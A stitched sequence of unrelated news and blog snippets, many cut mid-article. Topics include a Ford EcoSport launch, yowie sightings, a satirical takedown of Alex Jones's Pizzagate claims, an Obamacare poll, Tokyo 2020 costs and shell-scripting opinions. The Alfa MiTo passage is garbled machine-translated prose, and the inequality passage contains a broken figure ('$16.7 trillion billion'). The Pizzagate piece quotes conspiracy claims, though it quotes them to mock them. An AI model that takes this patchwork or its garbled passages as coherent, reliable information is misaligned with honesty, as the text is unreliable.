Some would argue that Ford is late to the subcompact SUV game. EcoSport will compete with vehicles such as the Chevrolet Trax, Fiat 500X, Honda HR-V, Jeep Renegade, Mazda CX-3 and Nissan Juke.
"I think our view is that while (the) segment has grown significantly, there is lots more growth coming in 2020. We love our position. ... We think our timing is going to be just great," O'Brien said.
Ford says it sells more SUVs and crossovers than any automaker. It has sold more than 12.5 million SUVs globally over the past 25 years. Since 2003, Ford has sold 1.7 million EcoSports.
In the U.S., Ford is aiming the EcoSport at two main consumer groups — Millennials and empty nesters. That's why Ford chose to reveal the EcoSport right off the Hollywood Walk of Fame at an event headlined hip-hop producer and Snapchat king DJ Khaled titled "Go Small, Live Big."
Khaled is an American record producer and radio personality known for short, esoteric speeches on Snapchat. Snapchat is a social media service that sends a photo or video to someone that lasts only up to 10 seconds before it disappears.
"He's the king of Snapchat. ... He gets about 3 to 4 million views per day from his content," said Chantel Lenard, executive director of U.S. marketing. "So he is very well known in that space, and we think it connects well with the millennial audience."
The styling of the EcoSport reflects that of the Ford Escape, but in a smaller, bolder and more athletic package. It will be powered by a 1.0-liter, three-cylinder turbocharged EcoBoost engine with front-wheel drive, or an optional 2.0-liter, four-cylinder engine with all-wheel drive. Ford did not release information on horsepower, fuel economy or pricing.
The EcoSport will be sold in four versions, starting with the S, moving up to the SE, then the SES and finally, the titanium.
The 2018 Ford EcoSport Titanium will come equipped with a 10-speaker, 675-watt sound system developed by B&O Play, a Harman brand. Ford says Harman's acoustic engineers spent hundreds of hours perfecting the in-vehicle music experience.
The EcoSport also will have optional HD Radio technology, SiriusXM satellite radio and a dual FM radio antenna that boosts the range and clarity of FM signals.
More from the Los Angeles Auto Show:
Teresa Giudice Slammed For Posting Bikini Pictures of Her Daughter
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Has Teresa Giudice gone too far? The Real Housewives of New Jersey star has been posting pictures of her daughter Gabriella on Instagram, but some fans were quick to criticize the mom of four for sharing inappropriate pictures of the 11-year-old in a bikini. NEWS: Sonja Morgan and Teresa Giudice Talk Younger Men and Prison Sex on WWHL “She’s beautiful, but I’d keep this photo private. There’s so many sickos out there,” one person commented on Instagram.
Low tides high vibes @gabriella.giudice A photo posted by Teresa Giudice (@teresagiudice) on Aug 13, 2016 at 11:11am PDT
Another user said, “Can’t you let her just be a child? She’s the only normal child you have. Don’t make her do these ridiculous poses; you can see how uncomfortable it makes her.” VIDEO: Teresa Giudice Confronts Joe Giudice About Cheating Rumors The 44-year-old and her husband Joe have four daughters — Gia, Gabriella, Milania, and Audriana, who all get represented on their mom’s social media pages.
Former Queensland senator Bill O'Chee was one of more than a dozen people, including fellow high school students and teachers, who claimed to have seen such a creature at a Springbrook camp site in 1977.
It was, Mr O'Chee said "an immensely powerful creature" and he later told a documentary interviewer: "Basically we saw a yowie, but we didn't know what they were at the time.
"We saw a sort of hairy, ape-like thing that probably would have stood about eight feet tall," he said.
Mr Duffy says he was camped in the bush, north-east of Gympie late one night, when "a very large male approached me".
"I got a fright and so did he," he said.
The creature seemed human but larger and spoke in a language he thinks might be Latin.
"He was quickly able to learn a few words in English and we spoke for about two hours," the Kybong resident said.
"They're very intelligent."
But he says they are in danger.
"They build meagre shelters in the forest which are often destroyed by humans," he said.
"The EPA won't respond to my calls."
The next night, Mr Duffy's campsite visitor returned, this time "with his wife and daughter".
"My whole mission is to protect them and to convince people to leave them alone and not hurt them.
"In the last 12 months I have had close contact with yowies on at least seven occasions.
"These creatures must be protected and respected.
"Yowies are clearly 'the missing link' that scientists have looked for decades. I believe they are the greatest discovery in the history of natural science.
"They are very peaceful creatures and love their partners and their children dearly."
Contributed
Wolvi and Tin Can Bay also claim Yowies
THE Gympie region's most recent documented Yowie sighting is from an anonymous Wolvi resident.
He is described as a male, 40, who lived on a small rural block who reports being woken at 2.30am on September 19, 2012, by his dogs "going ballistic".
Letting his dogs out, he was confronted by "a man-like figure," heavy set and smelling "like rotten eggs." The creature reportedly ran away and the Yowie Research website reports the witness wanted to remain anonymous.
Less shy though was a woman identified as "Mrs Roy Locke" who said she and her husband saw "a four-foot hairy animal standing by the road near Kilkivan, 20km out of Murgon, just before dusk".
"It had broad shoulders and it was looking at us when we drove past.
"We didn't go back for another look and we wouldn't have told anyone about it if other recent sightings weren't reported."
She said a then councillor, a Mr Roberts, said footprints had been found in the past of the creature and there would be several corridors of bushland where a Yowie could survive."
"I'm a scientist," said the anonymous reporter of a Yowie sighting during a military training operation in 2003 at Tin Can Bay's Camp Kerr. He reported "some sort of encounter" in the dark.
The simulated enemy they thought they were stalking in the bush turned out to be elsewhere.
What you said on Facebook:
Rex Carney I heard that the Yowie lives under the Gympie pyramid.
Sandy Thiedeman I believe that might be my ex husband....
Tim Williams I didn't think I was that scary
Geraldene Walsh Neville William Hinchliffe has had a few good sightings out Sexton way
Chaz Gartrell Yes, also the tooth fairy, santa, easter bunny and god......lol
Peter Manoffleshandblood Just because you can't/haven't seen her, doesn't mean you should deny Ana
Sneak E Damo Well you never know what will make an appearance on dole day:)
Aaren Gardner No he was caught and put on display once. Upset quiet I few people that showed up for the viewing on the 1st of April
Caitlin Hinchliffe Neville William Hinchliffe better get Dean Harrison onto it!!
Kade Kent Tom Rea and I have seen one out in the bush near the Gympie pyramid, I kid you not.
Kelly Wilde Nope but did anyone else see a 6 foot roo in their backyard the other morning near Gympie high?!
That Alex Jones is such a brave crusader for truth -- as you know, he's at war with Facebook to protect purveyors of fake news, and he's also not going to stand by quietly while the world elites carry out their plan to replace humanity with an army of cyborgs, either. So for a guy who lives to get the truth out there, regardless of the consequences, it seems rather odd that Jones has also quietly removed videos from his website in which he called on his Marching Moron Militia to investigate for themselves whether they could see something nasty in the woodshed at the Comet Ping Pong pizzeria in Washington DC, the supposed center of Hillary Clinton and John Podesta's child sex trafficking ring, of course. Don't suppose that could have anything to do with the Alex Jones fan who showed up at Comet Ping Pong with a gun a couple weeks back, could it?
Media Matters notes that on November 27, Jones spent about a half hour of his internet creepshow ranting about "Pizzagate" and telling his audience they would "have to go investigate it for yourself," because, obviously enough, with all of the hoopla about #pizzagate out there on the internets, it was obvious that "Something’s going on. Something’s being covered up. It needs to be investigated.” Here's a sample:
Now I want to be clear. Not everybody in the WikiLeaks is involved in this. Clearly. You have to go investigate it for yourself. But I will warn you, this story that’s been the biggest thing on the internet for several weeks, Pizzagate as it’s called, is a rabbit hole that is horrifying to go down [...] Let’s go ahead and go to the report, Pizzagate Is Real. The question is: How real is it? What is it? Something’s going on. Something’s being covered up. It needs to be investigated. To just call it fake news -- these are real WikiLeaks. This is real stuff going on.
It's Alex Jones in full-on batshit crazy mode, insisting he's not exactly "accusing" anyone, then flying off into all sorts of nonsense about how the pizzeria just happens to display well-known secret codes known to all pedophiles, according to an alleged FBI document -- and if you're keeping track, this is arguably the first time Alex Jones has ever believed anything supposedly from the FBI. He insists there are "thousands and thousands and thousands" of references to the supposed sex ring in the Wikileaks trove, including maybe messages like "Oh, I'll see you at the Feast tonight, we'll have lots of blood and semen, Oh good!" You know, not that he's accusing anyone, because that would be "lawsuit city." Instead, he urged his viewers, "It's up to you to research it for yourself."
Included within the video is another video called "Pizzagate Is Real: Something Is Going On, But What?” with all the usual nonsense claiming members of the Clinton sex ring were “using a code to communicate child sex trafficking as casually as ordering a pizza.” You know, like Democrats do. Makes perfect sense, if your idea of investigative reporting is Scooby Doo (joke stoled from Wonkette alum Dave Weigel). But wait! There's more!
Jones also suggested that he himself would be “getting on a plane” to visit Comet Ping Pong. He stated: “I couldn’t sleep last night and you know, people may look into it. I may take off a week and just only research this and actually go to where these places are and stuff. In fact I’m looking at getting on a plane -- it’s just like Bohemian Grove and stuff, I can’t just say something and not see it for myself. They go to these pizza places, there’s like satanic art everywhere.” Later in the program, Jones backtracked and said that he “can’t go out there and investigate it myself. We’ve had reporters on that have been there. They say it’s really creepy because -- I don’t have the self-control to be around these type of people. So you want us to cover pizzagate, we have covered it. We are covering it. And all I know is God help us, we’re in the hands of pure evil.”
Huh! Well, we can see why that sort of thing might motivate a person who cares about "the children," doesn't have a hell of a lot of critical thinking skills, and has him a great big many gun to go on a personal reconnaissance mission to find out what was really going on at Comet ping Pong, because what sort of decent person would stand by and let "pure evil" do all that terrible stuff to the nonexistent little kids who are surely being kidnapped by the hundreds by this pedophile sex ring? Oh, sure, this would be the first missing-children case ever in which hundreds (or at least scores) of kids were abducted without any parents noticing, or police issuing Amber Alerts, but maybe that just proves how powerful the sex ring cabal was. You might remember the same problem with the "Satanic panic" of the 1980s -- somehow all those Satanists were abducting and murdering babies without a corresponding spike in actual crime reports of missing children.
In any case, after Edgar Maddison Welch went on his personal fact-finding visit to Comet Ping Pong, Jones has been removing a whole bunch of "Pizzagate" stuff from his website and from his YouTube channel, almost as if he were having second thoughts about the wisdom of promoting this particular pile of crazy. Jones fans have re-loaded copies, even while Jones has backed away from the story for some reason. Jones has even insisted that he was really not all that big on Pizzagate as a thing, posting a video in which he "claimed that he actually said there’s 'probably nothing going on there' and his lawyers reviewed his coverage and found that he’s been the 'most restrained of all the coverage' in the alternative media."
Needless to say, in the new video, he explains that the whole pizzagate story was a false flag operation to make Alex Jones look bad, and then to BAN FREE SPEECH by setting him up to cover it. Those devious bastards! He even says he predicted that his enemies, who are everywhere, were “probably going to shoot that place up or something,” and just looked what happened! So now we know who the real victim is: Alex Jones, not the terrified pizza parlor employees who had a semiautomatic rifle shoved in their faces. Thank god Jones has somehow survived this latest assault on his ability to keep bringing us the TRUTH, which is out there. Very, very Out There.
Normally, one security officer sits in the first economy row, behind business class, and the other is at the rear of the aircraft, two members of an EgyptAir crew said. During stopovers at foreign airports, the security officers are usually responsible for searching the workers who clean the plane and checking the credentials of all crew members or employees who board. They do not monitor the baggage handlers who load the plane’s hold.
Security officials said those procedures would have applied to the EgyptAir plane during short layovers it made at two African airports — in Tunis and the Eritrean capital, Asmara — in the days before the crash. But the procedure is different in Paris because European airports do not permit EgyptAir security officials to search local cleaning workers, a source of disgruntlement among Egyptian officials who feel they are being discriminated against.
Colleagues described the security guards who died in Thursday’s crash — Walid Ouda, Mohammed Farag and Mahmoud el Sayed — as professionals who had exhibited no signs of unusual behavior. They described Mr. Farag as a lighthearted man who was often teased by friends for not having married, while Mr. Ouda cut a more taciturn figure and was polite to a fault.
Friends and relatives also presented a uniformly untroubled picture of the pilot, Capt. Mohamed Shoukair, 36, and his co-pilot, Mohamed Mamdouh Assem, 24. An EgyptAir pilot, who spoke on the condition of anonymity because he was not authorized to speak to the news media, said he had worked with both and described them as professional aviators who had not exhibited any mental or social problems. At 24 years old, Mr. Assem was the average age of many co-pilots at the airline, he said.
A video from MIX11 shows the passenger cruising on the chair,which uses omni-directional wheels. The Kinect-drivable lounge chair allows the user to drive a full vehicle as if he or she had an Xbox controller in their hand. All the features on the chair are determined by hand movement, including the chair’s recliner function, which pops out when the user moves his hand to the bottom left.
Microsoft is releasing a new Kinect PC SDK to encourage more Kinect development using different programming languages, including CSS, C#, and Visual Basics. The source code for the Kinect-powered recliner will be released by Microsoft as well as the SDK for developers.
Check out the exciting video, complete with Ska soundtrack, below.
LAS VEGAS - State and local officials are laying the groundwork to build a multi-billion-dollar light rail system in Las Vegas.
For two years, members of the Regional Transportation Commission of Southern Nevada have been drawing blueprints to link McCarran International Airport with the Las Vegas Strip. They're also considering connecting college campuses, hospitals and shopping centers.
But they need the state's permission to fund or implement any plans.
Sen. Mark Manendo presented Senate Bill 149 Tuesday to enable the commission to seek federal grants or ask for voters to raise local taxes to fund transportation developments.
Infrastructure plans are far from finalized. They also include makeovers like pedestrian bridges, wider sidewalks on the Strip and more stops on the short hotel monorail.
The commission has estimated it could cost as much as $26 billion altogether.
Buttons reading 'Repeal Obamacare' are displayed at the American Conservative Union's annual Conservative Political Action Conference (CPAC) in Washington, February 9, 2012. REUTERS/Jonathan Ernst
Fifty-six percent of people are against the healthcare overhaul and 44 percent favor it, according to the online poll conducted from Tuesday through Saturday.
The survey results suggest that Republicans are convincing voters to reject Obama’s reform even when they like much of what is in it, such as allowing children to stay on their parents’ insurance until age 26.
Strong majorities favor most of what is in the law.
A glaring exception to the popular provisions is the “individual mandate,” which forces all U.S. residents to own health insurance.
Sixty-one percent of Americans are against the mandate, the issue at the center of the Republicans’ contention that the law is unconstitutional, while 39 percent favor it.
“That’s really the thing that has come to define the (reform) and is the thing that could potentially allow the Supreme Court to dismantle it if they decide it’s not constitutional,” Ipsos pollster Chris Jackson said.
In good news for Republicans at November’s congressional elections, 45 percent said they were more likely to vote for a member of Congress who campaigned on a platform of repealing the law, versus 26 percent who said it would make them less likely, the survey showed.
The Supreme Court is expected to rule on the 2010 healthcare reform, Obama’s signature domestic policy achievement, this week, possibly as early as Monday.
The political stakes are sky-high on an issue that has galvanized conservative opposition to the Democratic president, and how the court’s decision is framed politically could influence the outcome of the November 6 general election.
Support for the provisions of the healthcare law was strong, with a full 82 percent of survey respondents, for example, favoring banning insurance companies from denying coverage to people with pre-existing conditions.
Sixty-one percent are in favor of allowing children to stay on their parents’ insurance until age 26 and 72 percent back requiring companies with more than 50 employees to provide insurance for their employees.
PARTISAN DIVISION
Americans are strongly divided along partisan lines. Among Republicans, 86 percent oppose and 14 percent favor the law and Democrats back it by a 3-to-1 margin, 75 percent to 25 percent, the Reuters/Ipsos poll showed.
But in what could be a key indicator for the presidential contest, people who describe themselves as political independents oppose the law by 73 percent to 27 percent.
Opposition among independents has been growing. In a survey conducted in April, two weeks after the Supreme Court heard the case, 63 percent of them opposed the measure, and 37 percent favored it.
“Republicans have won the argument with independents and that’s really been the reason that we see the majority of the public opposing it,” Jackson said.
Republicans have dominated the political message on healthcare with calls to “repeal and replace” the law, condemned by conservatives as a government intrusion into private industry and the lives of private citizens. It passed in March 2010 with no Republican support in Congress.
Mitt Romney, the likely Republican presidential nominee, has promised to repeal the law if he defeats Obama, although he has not offered a plan of his own. Obama, who says he modeled the measure on a healthcare plan Romney passed as governor of Massachusetts, has defended it.
Obama critics - some from within his own party - have also questioned the president for focusing on healthcare reform early in his term instead of doing everything he could to fix the struggling U.S. economy.
Democrats back the measure as an effort to improve the lives of Americans and essential to control spiraling costs that are undermining the country’s overall economic health. Healthcare expenditures in the United States neared $2.6 trillion in 2010, over 10 times the $256 billion spent in 1980, according to the Kaiser Family Foundation.
A good portion of the opposition to the healthcare law is because Americans want more reform, not less of it.
The poll found that a large number of Americans - including about one-third of Republicans and independents who disagree with the law - oppose it because it does not go far enough to fix healthcare.
Seventy-one percent of Republican opponents reject it overall, while 29 percent feel it does not go far enough, while independent opponents are divided 67 percent to 33 percent. Among Democratic opponents, 49 percent reject it overall, and 51 percent wish the measure went further.
Protesters hold signs as several groups hold a "Kill the Bill" rally against President Barack Obama's health care legislation, on the west front of the U.S. Capitol in Washington, March 20, 2010. REUTERS/Jonathan Ernst
“If you add the people that oppose it because they think it doesn’t go far enough, you get a majority of Americans, so it doesn’t mean that healthcare reform is dead,” Jackson said.
There was party division in Americans’ view of the individual mandate. Overall, 61 percent of Americans oppose requiring all U.S. residents to own health insurance. Among Republicans, the percentage rose to 81 percent, and it was 73 percent among independents. But a majority of Democrats - 59 percent - favor the individual mandate.
Here, however, and the set of photos that could increase than lists of customers seduced by the new model Alfa. In addition, it will be very interesting to see if customers will be Mini converted to MiTo.
The car is 4.06 meters long, 1.44 meters in height and width 1.72 meters and Italians say that they are a size suitable for road exceptional behavior. Mi.To will give the driver the possibility to opt for three different settings of the car: Dynamic – how sport, Normal – for running the city and All Weather – how conditions for poor adherence.
The Italians have already announced a range of 4 to propeller Mi.To – on gasoline and diesel, all super fueled, with powers between 90 HP and 155 HP. That will be the onset of sales, because people from Alfa say that something later and there will be more powerful engines. Probably it comes to a model with nearly 200 HP to compete on the Mini Cooper S.
You may be interested in:
<blockquote class="twitter-tweet" lang="en"><p>Ravens are adding both Aaron Ross and Dominique Franks to the roster, according to sources</p>— Aaron Wilson (@RavensInsider) <a href="https://twitter.com/RavensInsider/statuses/479756100720656384">June 19, 2014</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
During Thursday's post-practice press conference, coach John Harbaugh told reporters that the Ravens would likely sign a couple of the corners that tried out. These two were the obvious choices. Both have game experience and can provide certain roles.
Ross has experience playing under Steve Spagnuolo and Franks has some value on special teams. Franks was also a nickel corner at times in Atlanta, the team that drafted him in the fifth round in 2010.
This is great for the Ravens in that there's more depth at the position. But it's bad for Chykie Brown and Asa Jackson. Their chances to be the nickel corner just took a devastating hit.
That said, it wouldn't be wise to write Brown off yet. It could come down to he and Ross for the third corner spot. But you'd have to think that Ross has the advantage at this time based on experience and familiarity with Spagnuolo.
In a letter Friday to House Speaker John Boehner (R-Ohio), Attorney General Eric Holder wrote:
The legislative record of these provisions contains no rationale for providing veterans' benefits to opposite-sex couples of veterans but not to legally married same-sex spouses of veterans. Neither the Department of Defense nor the Department of Veterans Affairs identified any justifications for that distinction that would warrant treating these provisions differently from Section 3 of DOMA.
Section 3 of DOMA and several provisions of Title 38 of the U.S. Code that govern veterans benefits are unconstitutional when applied to same-sex married couples, according to Holder.
Title 38 defines "spouse" in the same terms as Section 3 of DOMA: "a person of the opposite sex who is a wife or husband." Together, they deprive same-sex spouses -- both of civilians and military veterans -- of federal benefits enjoyed by married heterosexual couples.
The letter comes in response to McLaughlin v. Panetta, a lawsuit filed in Massachusetts by the Servicemembers Legal Defense Network. The lead plaintiff, Shannon McLaughlin, is in the Massachusetts National Guard and serves as a Judge Advocate General. She is married to her partner of more than three years, Casey McLaughlin, and has one year-old twins.
"We are pleased that the Attorney General has decided not to defend the constitutionality of DOMA in the military context, just as he has declined to defend it in other contexts," SLDN Executive Director Aubrey Sarvis said in a statement. "We are also delighted that, for the first time, he has said that separate definitions that apply to military veterans are also unconstitutional. This is an important step for the McLaughlin plaintiffs."
The benefits in question, according to Holder, are "medical and dental benefits, basic housing allowances, travel and transportation allowances, family separation benefits, military identification cards, visitation rights in military hospitals, survivor benefits and the right to be buried together in military cemeteries."
Last February, Holder determined that Section 3 of the Defense of Marriage Act was unconstitutional when subjected to the same heightened judicial scrutiny currently applied to laws discriminating on the basis of race and gender. Accordingly, he instructed Justice Department lawyers to abandon their defense of Section 3 in federal courts, including cases pending in the 1st Circuit not involving servicemembers.
I made the mistake of replying on the substance, which is that once you correct for education, government workers are paid about the same as their private-sector counterparts; basically, government workers are school teachers, which means that they need college degrees.
But there is a better answer, and a teachable moment here, which gets at the real nature of inequality in America. It’s not about overpaid teachers.
Let’s start by looking at the real winners in soaring inequality — the people who not only make incredible amounts of money, but get to pay very low taxes (and if you suggest closing their loopholes, you’re just like Hitler.) According to Forbes, in 2012 the top 40 hedge fund managers and traders took home a combined $16.7 trillion billion.
Now look at those supposedly overpaid government employees. According to the BLS, the median high school teacher earns $55,050 per year.
So, those 40 hedge fund guys made as much as 300,000, that’s three hundred thousand, school teachers — almost a third of all high school teachers in America.
OK, teachers get benefits, so their total compensation cost is higher than their wage, so maybe it’s only 200,000.
I grew up in Pennsylvania’s Pocono Mountains, where I first started my studio. I discovered an interest in clay with a pottery class I took in Jr. High School. It was just basic hand building techniques, like slab and coil work, but it was enough to plant a seed. The first time I had access to a pottery wheel, I was in High School. After my very first session on the potter's wheel, I was hooked! I began going every day to practice, and spent as much time as I could in the school's ceramics room. Working in clay became my passion and even then, I knew I wanted to be a potter.
After High School, I wasn’t really sure what one would do to become a professional potter. There was no set rule or recipe that I had ever heard of. It wasn’t like, go to college for four years, get a degree, voila you are a pro. So, I called around every place in the phone book that mentioned the word “pottery”, looking for work and a place to learn. I was lucky enough to find a studio that could use my help, and I went to work as a potter's apprentice.
Breighmara Equestrian in Black Point is also under investigation by the Department of Agriculture, but the department won't say what it is investigating or why.
The owner of one horse told CBC News his animal was found dead on the property Wednesday.
A person who did not want to be named sent CBC a photo of what the person says is a dead horse at the facility.
This photo allegedly shows a horse that died at Breighmara Equestrian. (Submitted to CBC) He's asked for the remains to be returned to him, but so far he says the owner of Breighmara has not responded to the request.
Others allege animals there are severely underweight and not being properly fed.
"Shark Tank" investor Daymond John is headed to Detroit Thursday to help judge business pitches at the Miller Lite Tap the Future event. (Photo: Regina H. Boone)
Daymond John of the TV show "Shark Tank" will be in Detroit on Thursday to help judge the Miller Lite Tap the Future competition for entrepreneurs.
Five teams have reached the semi-finals and will compete for $20,000 and the chance to continue to the national finals, where $200,000 is the prize.
None of the five are from Michigan.
Also on the panel of business experts hearing the pitches are Jill Ford, the city of Detroit's head of innovation and entrepreneurship for the City of Detroit, and Ben Lamson and Su Sanni, co-owners of the crowdfunding platform for nonprofits WeDidIt.
John, best known as the founder and president of the clothing brand FUBU, was in Detroit in May for the Michigan Minority Procurement Conference and Opportunity Fair. He's been on the ABC show since 2009.
In a 'Shark Tank' twist Thursday, entrepreneurs ask star questions.
See coverage of past Shark Tank-style shows in Detroit
The public is invited to attend the Miller Lite Tap the Future pitch sessions; the event begins at 7 p.m. at the Garden Theater. Attendees must be 21 or older and RSVP at www.MLTapTheFuture.com.
The judges also will hear business pitches form three randomly selected audience members who'll get free advice and $500.
"Businesses are built on dreams and we want to celebrate the people chasing theirs," the Miller Lite Tap the Future Web site reads.
Other semi-finals are being held in Atlanta, Dallas, Los Angeles, Miami and Philadelphia and the winners from those cities, along with Detroit's will face off for the grand prize in September, according to contest organizers.
The semi-finalists competing this week are:
ManScore, Downers Grove, Ill. -- a mobile app for men
Therapals, Sidney, Ohio -- a free social network and activity center for children with special needs
Jail Education Solutions, Chicago -- a learning program for inmates
Candle With a Cause, Columbus -- custom candles for not-for-profits to use as fundraisers and awareness boosters
Miracle Novelty/The Munchkin Stand, Menomonee Falls, Wis. -- step-ladders for children
Contact Zlati Meyer: 313-223-4439 or zmeyer@freepress.com. Follow her on Twitter @ZlatiMeyer
An Indonesian player who punched a referee in the face has been banned for life by the country's football authority.
Pieter Rumaropen, a striker for the Papua province club Persiwa Wamena, attacked the referee, Muhaimin, after he awarded a penalty to Pelita Bandung Raya during a Super League match on Sunday in West Java's capital Bandung. Muhaimin was taken to hospital where he received four stitches.
Hinca Panjaitan, a member of the disciplinary commission of Indonesia's Football Association, PSSI, said Rumaropen's behaviour damaged the image of the country's football. In 2008, PSSI imposed life bans on four players for beating up a referee and his assistants.
"This was a terrible act that we cannot tolerate," Panjaitan said. "It has tarnished the image of Indonesian football in the international community, I hope this punishment will repair that."
“Very wholesome,” Hutcherson laughs. “That’s not me. I went across to the dark side. It is really freeing.” He’s talking about his work on Future Man, Hulu’s new action-comedy series, the latest genre-riffing project from executive producers Seth Rogen and Evan Goldberg. Hutcherson plays Josh Futterman, a janitor at an STD research laboratory who spends lonely nights in his parents’ house earning high scores in his favorite video game, Cybergeddon. “He can clean and play video games, those are his two talents,” says the actor, joking but also not joking.
Fate beckons him to unlikely heroism. When Hutcherson achieves high honors in one Cybergeddon, he’s identified as the world-saving messiah by badass future warriors Tiger and Wolf (Eliza Coupe and Derek Wilson), who travel back to our time looking for a Messiah to prevent their apocalyptic future. It’s a twist taken straight out of The Last Starfighter, and Future Man boils over with nostalgia for the ’80s-era science fiction. “All of us grew up in the era of these amazing movies like Back to the Future and The Terminator,” explains Ariel Shaffir, who co-created the show with Kyle Hunter. “This was an opportunity to lean into the genre, but do it in a funnier way.”
Erin Simkin/Hulu
But don’t call it a spoof: For all the fish-out-of-time-traveling-water comedy, Future Man has big world-building sci-fi ambitions. “Our comedies are very plot-driven and conceptual,” says Rogen. “We’ve always talked about the big picture, the second season, the third season, the fourth season.” With that ambition comes film-worthy action setpieces. “It’s the most demanding show I’ve ever done,” says Coupe, who compares Tiger to aggro-badass Sarah Connor circa Terminator 2. “The amount of action stuff we do is crazy. Derek and I were doing a fight scene two weeks ago, I think it was 15 hours outside [filming].”
Real-world tragedy struck production with the passing of series regular Glenne Headly. “It still hasn’t really settled in all the way,” Hutcherson says. “In the show, her character’s my mom, the most sweet, loving, passionate woman. She’s so funny. Her and Ed Begley Jr. together are the dream parents.”
In lieu of recasting, the show will write the character out of the show. It’s another complication for an already complex series, which seeks to balance hard-R comedy with explosive thrills and mainstream nostalgia with geekish precision. “There’s so many references that maybe seven people will get,” says Hutcherson. “There’s certain weapons we use that are some deep Star Trek weaponry that my grandma, who’s a hardcore Trekkie, would know.” If Josh Hutcherson’s Star Trek-loving grandmother is satisfied, so are we.
The International Olympic Committee is considering moving the rowing and canoeing events at the Tokyo 2020 Olympics to South Korea in an attempt to cut soaring costs, according to Japanese media reports.
Depriving Japan of the events risks provoking a backlash from the Tokyo 2020 organisers, and would make a mockery of the city’s vow to hold a “compact” Games.
Kyodo News and the Asahi Shimbun on Tuesday cited unnamed sources as saying that the events could be held in the South Korean city of Chungju – one of the venues for the 2014 Asian Games – if organisers and Tokyo’s governor, Yuriko Koike, fail to agree on a site in Japan.
The option of moving the sports out of the country is reportedly being considered after a panel of experts Koike set up to review costs recently proposed moving the rowing and canoe sprint several hundred miles from the capital to a venue in north-east Japan, rather than building a new venue in Tokyo Bay.
The panel also suggested renovating existing venues in Tokyo for volleyball and swimming and scrapping plans to construct new stadia for the sports. It put the cost of hosting Tokyo 2020 at 3 trillion yen (£23bn), four times the original estimate and almost three times higher than London 2012.
Koike became Tokyo’s first female governor in July after promising to slash wasteful spending. But by targeting the Olympics as one area in which savings could be made, she risks alienating Games organisers and sports federations that have called for rowing, swimming and volleyball to be kept in Tokyo.
In a meeting with the IOC president, Thomas Bach, in Tokyo on Tuesday, Koike said the public supported her economy drive. “When I won the election two months ago, I swore to the public that the spending for the Olympics and Paralympics needed to be reviewed,” Koike said, according to Kyodo.
Koike said she would conclude her review of the three Olympic venues by the end of the month.
The rocky road to Tokyo 2020 Japan’s preparations have suffered a series of setbacks:
• The original design for the main stadium was scrapped after complaints about its size and cost. • The original logo was also abandoned after the designer was accused of plagiarism. • The potential price tag has soared to 3tn yen (£23bn), four times the original estimate. • In May, the Guardian revealed that the bid committee had paid more than £1.6m to a company linked to the son of the disgraced former world athletics chief, Lamine Diack. A Japanese investigation cleared officials of any illegal activity, but French prosecutors have yet to complete their investigation.
Bach refused to comment on “media rumours” about rowing’s possible switch to South Korea, but said the IOC was willing to work with Koike to reduce spiralling costs.
“The Tokyo metropolitan government will finalise its internal study, then we’ll discuss it with the other stakeholders ... and then I am confident that you will see a significant reduction in the cost compared to what we have seen so far from the press,” he told reporters.
The controversy over the rowing and canoe-kayak sprint competitions deepened on Tuesday after the Mainichi Shimbun newspaper claimed that the Tokyo metropolitan government had lied to the IOC about the cost of building permanent facilities for the events.
The paper said Tokyo government officials had dramatically understated construction costs in a report to the IOC, allegedly to ensure the sports would be held in the capital.
The Mainichi report quoted Tokyo government documents showing that building Sea Forest, a new rowing and canoeing facility in Tokyo Bay, would cost 25 billion yen. The estimate given to the IOC, however, was 9.8 billion yen.
“The IOC pointed out that our expenses were too high, so we gave them an unfounded figure,” the Mainichi quoted a senior Tokyo metropolitan government official as saying.
The total cost of building the Sea Forest venue, including surrounding parks and other “legacy” infrastructure, has been estimated at 49.1 billion yen. Government officials, however, said on Tuesday they should be able reduce that figure to 30 billion yen by shrinking the size of some facilities.
Olympic organisers and the International Rowing Federations are dismayed by the prospect of the event being held either in Naganuma Boat Park in Tome, Miyagi – one of three prefectures hit hard by the March 2011 earthquake and tsunami – or in South Korea.
The Miyagi option could also prove expensive, however. The Tokyo Olympic and Paralympic organising committee said turning the venue, which is 270 miles (440km) from Tokyo, into one capable of hosting the Olympics could exceed 35.1 billion yen.
“I would like to stress once again that the decision [to build a new canoeing venue in Tokyo] was made unanimously and based on thorough investigations,” Toshiaki Endo, a Tokyo 2020 executive board member, said earlier this month. “We have conducted careful examinations of all candidate rowing sites.
“As a result, all parties, including the IOC, the international federations, the national federations, Tokyo 2020 organising committee and the Tokyo metropolitan government came to the conclusion that Sea Forest Waterway was the most promising, and best suited to hosting rowing competitions.”
Japan’s sports minister, Hirokazu Matsuno, said on Tuesday that “venues for the Olympics should be located inside the host country”.
# 2. Get Your Kid A Temporary Tattoo With Your Phone Number
# 3. Use An Old Box To Make Them A Cardboard Slide
# 4. Put A "You Shall Not Pass" Sign To Teach Your Kids How To Save Toilet Paper
# 5. Let You Kids Sit On Stability Balls While Doing Homework. It Can Help Them To Concentrate
# 6. Make A DIY Bottle Holder So That Babies Can Hold It Themselves
# 7. Color Their Routine And Teach Time Management
# 8. Put Your Kid To Work By Turning Chores Into Fun Games
# 9. Make A Table Hammock With A Bedsheet For Your Kids
# 10. Detangle Doll's Hair With Dish Soap And Hair Conditioner
# 11. Use These Animal Toothpaste Caps So They Don’t Forget To Brush Their Teeth
“Why didn’t they script this, it would be so much easier.”
After thinking about it for a while it all makes sense now. It seems that I had the shell script bug, everything must be done in the shell! In reality while the shell is great and all, it is not without its flaws. There are somethings the shell is great at and should be used for, then there others it shouldn’t.
Don’t get me wrong, I like to script as much as the next guy, but sometimes I think people get lost in its simplicity. Some people use it for everything without fail. Perhaps this is because they don’t know otherwise, or maybe because they too have the shell script bug.
There are many reasons to use the shell and I’m not against using it by any means. This is simply a list of when it may not be suitable to whip out the shell and start scripting. If there is any I missed, please add them in the comments and they may eventually make it into a revised post. I’ll do the same if I come up with any more. Onto the list!
Distribution / Portability – Ever try to distribute a script? Well, most of the time its not a problem, but sometimes you’ll get bit in the ass. Not all systems are created equal. Some have missing packages, or something doesn’t work the EXACT same way.
Simplicity – Sometimes bash is elegant. Well, it depends on your definition I guess. Some argue that scripting is simple, where as others that have to support or maintain it will be ready to cut you. I know I’m sharpening my shanks right now for some revenge. Seriously though, choose a language that makes it easy to K.I.S.S (keep it simple, stupid.)
